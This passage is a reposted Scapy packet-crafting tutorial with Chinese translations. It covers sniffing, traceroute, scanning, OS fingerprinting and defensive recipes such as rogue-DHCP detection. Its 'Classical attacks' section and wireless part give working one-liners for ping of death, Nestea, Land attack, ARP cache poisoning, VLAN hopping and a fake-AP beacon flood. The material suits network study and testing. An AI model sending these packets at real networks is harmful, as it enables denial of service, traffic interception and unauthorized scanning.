prn=lambda x: x.sprintf(“%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%  %2s,TCP.flags% : %TCP.payload%”))

192.168.8.10:47226 -> 213.228.0.14:110   S :

213.228.0.14:110 -> 192.168.8.10:47226  SA :

192.168.8.10:47226 -> 213.228.0.14:110   A :

213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK <[email protected]>

 

192.168.8.10:47226 -> 213.228.0.14:110   A :

192.168.8.10:47226 -> 213.228.0.14:110  PA : USER toto

 

213.228.0.14:110 -> 192.168.8.10:47226   A :

213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK

 

192.168.8.10:47226 -> 213.228.0.14:110   A :

192.168.8.10:47226 -> 213.228.0.14:110  PA : PASS tata

 

213.228.0.14:110 -> 192.168.8.10:47226  PA : -ERR authorization failed

 

192.168.8.10:47226 -> 213.228.0.14:110   A :

213.228.0.14:110 -> 192.168.8.10:47226  FA :

192.168.8.10:47226 -> 213.228.0.14:110  FA :

213.228.0.14:110 -> 192.168.8.10:47226   A :

Here is an example of a (h)ping-like functionnality : you always send the same set of packets to see if something change :

翻译: 类似于hping的功能:你总是发送同样的一系列了包看是否有什么东西改变了

>>> srloop(IP(dst=”www.target.com/30″)/TCP())

RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding

fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S

IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S

IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S

RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding

fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S

        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S

        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S

RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding

fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S

IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S

IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S

RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding

fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S

        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S

        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S

Now we have a demonstration of the make_table() presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants, make_lined_table() and make_tex_table() to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object :

Here we can see a multi-parallel traceroute (scapy already has a multi TCP traceroute function. See later).

翻译: 现在我们来演示make_table()函数功能。 它产生一个参数列表,并且函数返回3个元组。第一个元组是列值的x轴坐标,第二个是y轴坐标,第三个是我们想在坐标上显示的值。结果是一个表。这个函数有2个变种函数:make_line_table()和make_tex_table(),用来copy/paste到你的LaTeX报告。这些功能都可以作为结果对象的方法:

这里我们能看到一个多个并行traceroute(scap已经有了多TCP traceroute功能,后面会讲)

 

>>> ans,unans=sr(IP(dst=”www.test.fr/30″, ttl=(1,6))/TCP())

Received 49 packets, got 24 answers, remaining 0 packets

>>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )

216.15.189.192  216.15.189.193  216.15.189.194  216.15.189.195

1 192.168.8.1     192.168.8.1     192.168.8.1     192.168.8.1

2 81.57.239.254   81.57.239.254   81.57.239.254   81.57.239.254

3 213.228.4.254   213.228.4.254   213.228.4.254   213.228.4.254

4 213.228.3.3     213.228.3.3     213.228.3.3     213.228.3.3

5 193.251.254.1   193.251.251.69  193.251.254.1   193.251.251.69

6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178

Here is a more complex example to identify machines from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack than 172.20.80.201 and that 172.20.80.197:25 is not answered by the sape IP stack than other ports on the same IP.

翻译: 这是一个复杂的例子用于采用IPID域识别机器。我们能看到172.20.80.200:22由与172.20.80.201相同的IP堆栈回复,172.20.80.197:25 没有回复与其他端口相同的IPID (注:这用于判读防火墙后的端口对应不同机器)

>>> ans,unans=sr(IP(dst=”172.20.80.192/28″)/TCP(dport=[20,21,22,25,53,80]))

Received 142 packets, got 25 answers, remaining 71 packets

>>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf(“%IP.id%”)))

172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201

20 0             4203          7021          –             11562

21 0             4204          7022          –             11563

22 0             4205          7023          11561         11564

25 0             0             7024          –             11565

53 0             4207          7025          –             11566

80 0             4028          7026          –             11567

It can help identify network topologies very easily when playing with TTL, displaying received TTL, etc.

Now scapy has its own routing table, so that you can have your packets routed diffrently than the system.

翻译:以下有助于识别网络拓扑当使用TTL,显示接收的TTL

现在,scapy有自己的路由表,所以你可以以不同于系统路由表的方式发送包

>>> conf.route

Network         Netmask         Gateway         Iface

127.0.0.0       255.0.0.0       0.0.0.0         lo

192.168.8.0     255.255.255.0   0.0.0.0         eth0

0.0.0.0         0.0.0.0         192.168.8.1     eth0

>>> conf.route.delt(net=”0.0.0.0/0″,gw=”192.168.8.1″)

>>> conf.route.add(net=”0.0.0.0/0″,gw=”192.168.8.254″)

>>> conf.route.add(host=”192.168.1.1″,gw=”192.168.8.1″)

>>> conf.route

Network         Netmask         Gateway         Iface

127.0.0.0       255.0.0.0       0.0.0.0         lo

192.168.8.0     255.255.255.0   0.0.0.0         eth0

0.0.0.0         0.0.0.0         192.168.8.254   eth0

192.168.1.1     255.255.255.255 192.168.8.1     eth0

>>> conf.route.resync()

>>> conf.route

Network         Netmask         Gateway         Iface

127.0.0.0       255.0.0.0       0.0.0.0         lo

192.168.8.0     255.255.255.0   0.0.0.0         eth0

0.0.0.0         0.0.0.0         192.168.8.1     eth0

We can easily plot some harvested values using Gnuplot. For example, we can observe the IP ID patterns to know how many distinct IP stacks are used behind a load balancer :

翻译:我们可以用Gnuplot工具简单生成havested值图。例:我们能观察IP ID模式来知道多少独特的IP堆栈在负载均衡后面使用(注:要装python gnuplot组件)

>>> a,b=sr(IP(dst=”www.target.com”)/TCP(sport=[RandShort()]*1000))

>>> a.plot(lambda x:x[1].id)

<Gnuplot._Gnuplot.Gnuplot instance at 0xb7d6a74c>

Scapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, scapy sends all the packets at the same time. This has the disadvantage that it can’t know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result :

翻译:  scapy同样具有强力的TCP traceroute功能。不像其他traceroute程序要等每个节点回复才能继续下一个节点,scapy同一时间向所有节点发送包,不利的是无法知道何时停止(maxttl参数),但是最大的好处是只花费小于3秒钟来获得多个目标的结果。

>>> traceroute([“www.yahoo.com”,”www.altavista.com”,”www.wisenut.com”,”www.copernic.com”],maxttl=20)

Received 80 packets, got 80 answers, remaining 0 packets

193.45.10.88:80    216.109.118.79:80  64.241.242.243:80  66.94.229.254:80

1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1

2  82.243.5.254       82.243.5.254       82.243.5.254       82.243.5.254

3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254

4  212.27.50.46       212.27.50.46       212.27.50.46       212.27.50.46

5  212.27.50.37       212.27.50.41       212.27.50.37       212.27.50.41

6  212.27.50.34       212.27.50.34       213.228.3.234      193.251.251.69

7  213.248.71.141     217.118.239.149    208.184.231.214    193.251.241.178

8  213.248.65.81      217.118.224.44     64.125.31.129      193.251.242.98

9  213.248.70.14      213.206.129.85     64.125.31.186      193.251.243.89

10 193.45.10.88    SA 213.206.128.160    64.125.29.122      193.251.254.126

11 193.45.10.88    SA 206.24.169.41      64.125.28.70       216.115.97.178

12 193.45.10.88    SA 206.24.226.99      64.125.28.209      66.218.64.146

13 193.45.10.88    SA 206.24.227.106     64.125.29.45       66.218.82.230

14 193.45.10.88    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA

15 193.45.10.88    SA 216.109.120.149    64.124.229.109     66.94.229.254   SA

16 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA

17 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA

18 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA

19 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA

20 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA

(<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)

The last line is in fact a the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding.

翻译:最后一行是函数的返回结果:一个traceroute结果和未回复包列表。traceroute经典结果对象是特殊版本(一个子类)。我们能把traceroute的结果保存并进一步深入检查回复,比如检查padding

>>> result,unans=_

>>> result.show()

193.45.10.88:80    216.109.118.79:80  64.241.242.243:80  66.94.229.254:80

1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1

2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254

3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254

[…]

>>> result.filter(lambda x: Padding in x[1])

Like any result object, traceroute objects can be added :

翻译: 如同任何结果对象,traceroute对象可以增加

>>> r2,unans=traceroute([“www.voila.com”],maxttl=20)

Received 19 packets, got 19 answers, remaining 1 packets

195.101.94.25:80

1  192.168.8.1

2  82.251.4.254

3  213.228.4.254

4  212.27.50.169

5  212.27.50.162

6  193.252.161.97

7  193.252.103.86

8  193.252.103.77

9  193.252.101.1

10 193.252.227.245

12 195.101.94.25   SA

13 195.101.94.25   SA

14 195.101.94.25   SA

15 195.101.94.25   SA

16 195.101.94.25   SA

17 195.101.94.25   SA

18 195.101.94.25   SA

19 195.101.94.25   SA

20 195.101.94.25   SA

>>>

>>> r3=result+r2

>>> r3.show()

195.101.94.25:80   212.23.37.13:80    216.109.118.72:80  64.241.242.243:80  66.94.229.254:80

1  192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1        192.168.8.1

2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254       82.251.4.254

3  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254

4  212.27.50.169      212.27.50.169      212.27.50.46       –                  212.27.50.46

5  212.27.50.162      212.27.50.162      212.27.50.37       212.27.50.41       212.27.50.37

6  193.252.161.97     194.68.129.168     212.27.50.34       213.228.3.234      193.251.251.69

7  193.252.103.86     212.23.42.33       217.118.239.185    208.184.231.214    193.251.241.178

8  193.252.103.77     212.23.42.6        217.118.224.44     64.125.31.129      193.251.242.98

9  193.252.101.1      212.23.37.13    SA 213.206.129.85     64.125.31.186      193.251.243.89

10 193.252.227.245    212.23.37.13    SA 213.206.128.160    64.125.29.122      193.251.254.126

11 –                  212.23.37.13    SA 206.24.169.41      64.125.28.70       216.115.97.178

12 195.101.94.25   SA 212.23.37.13    SA 206.24.226.100     64.125.28.209      216.115.101.46

13 195.101.94.25   SA 212.23.37.13    SA 206.24.238.166     64.125.29.45       66.218.82.234

14 195.101.94.25   SA 212.23.37.13    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA

15 195.101.94.25   SA 212.23.37.13    SA 216.109.120.151    64.124.229.109     66.94.229.254   SA

16 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA

17 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA

18 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA

19 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA

20 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA

Traceroute result object also have a very neat feature : they can make a directed graph from all the routes they got, and cluster them by AS. You will need graphviz. By default, ImageMagick is used to display the graph.

翻译: Traceroute结果对象也有一个有趣的特点,他们可以根据路由结果制作一个导向图,并且通过AS来汇聚他们,你需要graphviz组件,默认ImageMagick用于显示图形

>>> res,unans = traceroute([“www.microsoft.com”,”www.cisco.com”,”www.yahoo.com”,”www.wanadoo.fr”,”www.pacsec.com”],dport=[80,443],maxttl=20,retry=-2)

Received 190 packets, got 190 answers, remaining 10 packets

193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80  207.46…

1  192.168.8.1         192.168.8.1        192.168.8.1        192.168.8.1        192.16…

2  82.251.4.254        82.251.4.254       82.251.4.254       82.251.4.254       82.251…

3  213.228.4.254       213.228.4.254      213.228.4.254      213.228.4.254      213.22…

[…]

>>> res.graph()                          # piped to ImageMagick’s display program. Image below.

>>> res.graph(type=”ps”,target=”| lp”)   # piped to postscript printer

>>> res.graph(target=”> /tmp/graph.svg”) # saved to file

The same in SVG

You also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it’s IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed.

>>> res.trace3D()

Provided that your wireless card and driver are correctly configured for frame injection

$ ifconfig wlan0 up

$ iwpriv wlan0 hostapd 1

$ ifconfig wlan0ap up

you can have a kind of FakeAP.

翻译: 你可以建立一个伪基站

>>> sendp(Dot11(addr1=”ff:ff:ff:ff:ff:ff”,addr2=RandMAC(),addr3=RandMAC())/

Dot11Beacon(cap=”ESS”)/

Dot11Elt(ID=”SSID”,info=RandString(RandNum(1,50)))/

Dot11Elt(ID=”Rates”,info=’\x82\x84\x0b\x16′)/

Dot11Elt(ID=”DSset”,info=”\x03″)/

Dot11Elt(ID=”TIM”,info=”\x00\x01\x00\x00″),iface=”wlan0ap”,loop=1)

Simple one-liners

ACK Scan

Using Scapy’s powerful packet crafting facilities we can quick replicate classic TCP Scans. For example, the following string will be sent to simulate an ACK Scan:

翻译: 采用Scapy强力的包制作设备,我们能快速复制经典的TCP扫描,例如:以下发送ACK扫描

>>> ans,unans = sr(IP(dst=”www.slashdot.org”)/TCP(dport=[80,666],flags=”A”))

We can find unfiltered ports in answered packets:

>>> for s,r in ans:

    if s[TCP].dport == r[TCP].sport:

       print str(s[TCP].dport) + ” is unfiltered”

Similarly, filtered ports can be found with unanswered packets:

>>> for s in unans:

    print str(s[TCP].dport) + ” is filtered”

Xmas Scan

Xmas Scan can be launced using the following command:

>>> ans,unans = sr(IP(dst=”192.168.1.1″)/TCP(dport=666,flags=”FPU”) )

Checking RST responses will reveal closed ports on the target.

IP Scan

A lower level IP Scan can be used to enumerate supported protocols:

>>> ans,unans=sr(IP(dst=”192.168.1.1″,proto=(0,255))/”SCAPY”,retry=2)

ARP Ping

The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method:

>>> ans,unans=srp(Ether(dst=”ff:ff:ff:ff:ff:ff”)/ARP(pdst=”192.168.1.0/24″),timeout=2)

Answers can be reviewed with the following command:

>>> ans.summary(lambda (s,r): r.sprintf(“%Ether.src% %ARP.psrc%”) )

Scapy also includes a built-in arping() function which performs similar to the above two commands:

>>> arping(“192.168.1.*”)

ICMP Ping

Classical ICMP Ping can be emulated using the following command:

>>> ans,unans=sr(IP(dst=”192.168.1.1-254″)/ICMP())

Information on live hosts can be collected with the following request:

>>> ans.summary(lambda (s,r): r.sprintf(“%IP.src% is alive”) )

TCP Ping

In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below:

>>> ans,unans=sr( IP(dst=”192.168.1.*”)/TCP(dport=80,flags=”S”) )

Any response to our probes will indicate a live host. We can collect results with the following command:

>>> ans.summary( lambda(s,r) : r.sprintf(“%IP.src% is alive”) )

UDP Ping

If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0:

>>> ans,unans=sr( IP(dst=”192.168.*.1-10″)/UDP(dport=0) )

Once again, results can be collected with this command:

>>> ans.summary( lambda(s,r) : r.sprintf(“%IP.src% is alive”) )

Classical attacks

Malformed packets:

>>> send(IP(dst=”10.1.1.5″, ihl=2, version=3)/ICMP())

Ping of death (Muuahahah):

>>> send( fragment(IP(dst=”10.0.0.5″)/ICMP()/(“X”*60000)) )

Nestea attack:

>>> send(IP(dst=target, id=42, flags=”MF”)/UDP()/(“X”*10))

>>> send(IP(dst=target, id=42, frag=48)/(“X”*116))

>>> send(IP(dst=target, id=42, flags=”MF”)/UDP()/(“X”*224))

Land attack (designed for Microsoft Windows):

>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))

ARP cache poisoning

This attack prevents a client from joining the gateway by poisoning its ARP cache through a VLAN hopping attack.

Classic ARP cache poisoning:

>>> send( Ether(dst=clientMAC)/ARP(op=”who-has”, psrc=gateway, pdst=client),

inter=RandNum(10,40), loop=1 )

ARP cache poisoning with double 802.1q encapsulation:

>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)

/ARP(op=”who-has”, psrc=gateway, pdst=client),

inter=RandNum(10,40), loop=1 )

TCP Port Scanning

Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error:

>>> res,unans = sr( IP(dst=”target”)

/TCP(flags=”S”, dport=(1,1024)) )

Possible result visualization: open ports

>>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )

IKE Scanning

We try to identify VPN concentrators by sending ISAKMP Security Association proposals and receiving the answers:

>>> res,unans = sr( IP(dst=”192.168.1.*”)/UDP()

/ISAKMP(init_cookie=RandString(8), exch_type=”identity prot.”)

/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())

)

Visualizing the results in a list:

>>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )

Advanced traceroute

TCP SYN traceroute

>>> ans,unans=sr(IP(dst=”4.2.2.1″,ttl=(1,10))/TCP(dport=53,flags=”S”))

Results would be:

>>> ans.summary( lambda(s,r) : r.sprintf(“%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}”))

192.168.1.1     time-exceeded

68.86.90.162    time-exceeded

4.79.43.134     time-exceeded

4.79.43.133     time-exceeded

4.68.18.126     time-exceeded

4.68.123.38     time-exceeded

4.2.2.1         SA

UDP traceroute

Tracerouting an UDP application like we do with TCP is not reliable, because there’s no handshake. We need to give an applicative payload (DNS, ISAKMP, NTP, etc.) to deserve an answer:

>>> res,unans = sr(IP(dst=”target”, ttl=(1,20))

/UDP()/DNS(qd=DNSQR(qname=”test.com”))

We can visualize the results as a list of routers:

>>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))

DNS traceroute

We can perform a DNS traceroute by specifying a complete packet in l4 parameter of traceroute() function:

>>> ans,unans=traceroute(“4.2.2.1″,l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname=”thesprawl.org”)))

Begin emission:

..*….******…******.***…****Finished to send 30 packets.

*****…***………………………….

Received 75 packets, got 28 answers, remaining 2 packets

4.2.2.1:udp53

1  192.168.1.1     11

4  68.86.90.162    11

5  4.79.43.134     11

6  4.79.43.133     11

7  4.68.18.62      11

8  4.68.123.6      11

9  4.2.2.1

Etherleaking

>>> sr1(IP(dst=”172.16.1.232″)/ICMP())

<IP src=172.16.1.232 proto=1 […] |<ICMP code=0 type=0 […]|

<Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>>

ICMP leaking

This was a Linux 2.0 bug:

>>> sr1(IP(dst=”172.16.1.1″, options=”\x02“)/ICMP())

<IP src=172.16.1.1 […] |<ICMP code=0 type=12 […] |

<IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ […] |

<ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff |

<Padding load=’\x00[…]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>>

VLAN hopping

In very specific conditions, a double 802.1q encapsulation will make a packet jump to another VLAN:

>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())

Wireless sniffing

The following command will display information similar to most wireless sniffers:

>>> sniff(iface=”ath0″,prn=lambda x:x.sprintf(“{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}”))

The above command will produce output similar to the one below:

00:00:00:01:02:03 netgear      6L   ESS+privacy+PBCC

11:22:33:44:55:66 wireless_100 6L   short-slot+ESS+privacy

44:55:66:00:11:22 linksys      6L   short-slot+ESS+privacy

12:34:56:78:90:12 NETGEAR      6L   short-slot+ESS+privacy+short-preamble

Recipes

Simplistic ARP Monitor

This program uses the sniff() callback (paramter prn). The store parameter is set to 0 so that the sniff() function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic.

#! /usr/bin/env python

from scapy.all import *

 

def arp_monitor_callback(pkt):

if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at

return pkt.sprintf(“%ARP.hwsrc% %ARP.psrc%”)

 

sniff(prn=arp_monitor_callback, filter=”arp”, store=0)

Identifying rogue DHCP servers on your LAN

Problem

You suspect that someone has installed an additional, unauthorized DHCP server on your LAN – either unintentiously or maliciously. Thus you want to check for any active DHCP servers and identify their IP and MAC addresses.

Solution

Use Scapy to send a DHCP discover request and analyze the replies:

>>> conf.checkIPaddr = False

>>> fam,hw = get_if_raw_hwaddr(conf.iface)

>>> dhcp_discover = Ether(dst=”ff:ff:ff:ff:ff:ff”)/IP(src=”0.0.0.0″,dst=”255.255.255.255″)/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[(“message-type”,”discover”),”end”])

>>> ans, unans = srp(dhcp_discover, multi=True)      # Press CTRL-C after several seconds

Begin emission:

Finished to send 1 packets.

.*…*..

Received 8 packets, got 2 answers, remaining 0 packets

In this case we got 2 replies, so there were two active DHCP servers on the test network:

>>> ans.summarize()

Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP

Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP

}}}

We are only interested in the MAC and IP addresses of the replies:

{{{

>>> for p in ans: print p[1][Ether].src, p[1][IP].src

00:de:ad:be:ef:00 192.168.1.1

00:11:11:22:22:33 192.168.1.11

Discussion

We specify multi=True to make Scapy wait for more answer packets after the first response is received. This is also the reason why we can’t use the more convenient dhcp_request() function and have to construct the DCHP packet manually: dhcp_request() uses srp1() for sending and receiving and thus would immediately return after the first answer packet.

Moreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.1). Because these IP addresses don’t match, we have to disable Scapy’s check with conf.checkIPaddr = False before sending the stimulus.

See also

http://en.wikipedia.org/wiki/Rogue_DHCP

Firewalking

TTL decrementation after a filtering operation only not filtered packets generate an ICMP TTL exceeded

>>> ans, unans = sr(IP(dst=”172.16.4.27″, ttl=16)/TCP(dport=(1,1024)))

>>> for s,r in ans:

if r.haslayer(ICMP) and r.payload.type == 11:

print s.dport

Find subnets on a multi-NIC firewall only his own NIC’s IP are reachable with this TTL:

>>> ans, unans = sr(IP(dst=”172.16.5/24″, ttl=15)/TCP())

>>> for i in unans: print i.dst

TCP Timestamp Filtering

Problem

Many firewalls include a rule to drop TCP packets that do not have TCP Timestamp option set which is a common occurrence in popular port scanners.

Solution

To allow Scapy to reach target destination additional options must be used:

>>> sr1(IP(dst=”72.14.207.99″)/TCP(dport=80,flags=”S”,options=[(‘Timestamp’,(0,0))]))

Viewing packets with Wireshark

Problem

You have generated or sniffed some packets with Scapy and want to view them with Wireshark, because of its advanced packet dissection abilities.

Solution

That’s what the wireshark() function is for:

>>> packets = Ether()/IP(dst=Net(“google.com/30”))/ICMP()     # first generate some packets

>>> wireshark(packets)                                        # show them with Wireshark

Wireshark will start in the background and show your packets.

Discussion

The wireshark() function generates a temporary pcap-file containing your packets, starts Wireshark in the background and makes it read the file on startup.

Please remember that Wireshark works with Layer 2 packets (usually called “frames”). So we had to add an Ether() header to our ICMP packets. Passing just IP packets (layer 3) to Wireshark will give strange results.

You can tell Scapy where to find the Wireshark executable by changing the conf.prog.wireshark configuration setting.

OS Fingerprinting

ISN

Scapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop:

>>> ans,unans=srloop(IP(dst=”192.168.1.1″)/TCP(dport=80,flags=”S”))

Once we obtain a reasonable number of responses we can start analyzing collected data with something like this:

>>> temp = 0

>>> for s,r in ans:

   temp = r[TCP].seq – temp

   print str(r[TCP].seq) + “\t+” + str(temp)

4278709328      +4275758673

4279655607      +3896934

4280642461      +4276745527

4281648240      +4902713

4282645099      +4277742386

4283643696      +5901310

nmap_fp

Nmap fingerprinting (the old “1st generation” one that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 you have to load an extension module first:

>>> load_module(“nmap”)

If you have Nmap installed you can use it’s active os fingerprinting database with Scapy. Make sure that version 1 of signature database is located in the path specified by:

>>> conf.nmap_base

Then you can use the nmap_fp() function which implements same probes as in Nmap’s OS Detection engine:

>>> nmap_fp(“192.168.1.1”,oport=443,cport=1)

Begin emission:

.****..**Finished to send 8 packets.

*…………………………………………

Received 58 packets, got 7 answers, remaining 1 packets

(1.0, [‘Linux 2.4.0 – 2.5.20’, ‘Linux 2.4.19 w/grsecurity patch’,

‘Linux 2.4.20 – 2.4.22 w/grsecurity.org patch’, ‘Linux 2.4.22-ck2 (x86)

w/grsecurity.org and HZ=1000 patches’, ‘Linux 2.4.7 – 2.6.11’])

p0f

If you have p0f installed on your system, you can use it to guess OS name and version right from Scapy (only SYN database is used). First make sure that p0f database exists in the path specified by:

>>> conf.p0f_base

For example to guess OS from a single captured packet:

>>> sniff(prn=prnp0f)

192.168.1.100:54716 – Linux 2.6 (newer, 1) (up: 24 hrs)

-> 74.125.19.104:www (distance 0)

<Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>

来源: http://www.secdev.org/projects/scapy/demo.html

 

主题测试文章,只做测试使用。发布者:SecMore,转转请注明出处:https://secmore.com/uncategorized/11.html

Like (0)
SecMore
Previous 2017-10-31
Next 2017-11-01

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注